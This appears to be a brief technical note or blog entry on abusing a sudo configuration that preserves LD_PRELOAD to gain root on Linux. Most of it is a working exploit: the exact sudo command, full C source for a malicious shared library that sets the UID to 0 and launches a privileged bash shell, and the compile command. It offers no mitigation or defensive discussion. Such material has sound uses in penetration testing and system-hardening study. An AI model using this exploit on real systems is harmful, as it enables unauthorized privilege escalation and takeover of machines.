Exploiting LD_PRELOAD

author: Nathan Acks
date: 2021-10-31

If LD_PRELOAD is preserved by sudo, then it’s possible to use a malicious dynamic library to gain root access - just run sudo LD_PRELOAD=/path/to/malicious.so program-runnable-with-nopasswd. Preserved environment variables are listed by sudo -l.

A simple malicious library (perhaps the simplest) that can exploit the LD_PRELOAD trick is:

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
	unsetenv("LD_PRELOAD");
	setresuid(0,0,0);
	system("/bin/bash -p");
}

Compile with:

gcc -fPIC -shared -nostartfiles \
    -o /path/to/malicious.so /path/to/malicious.c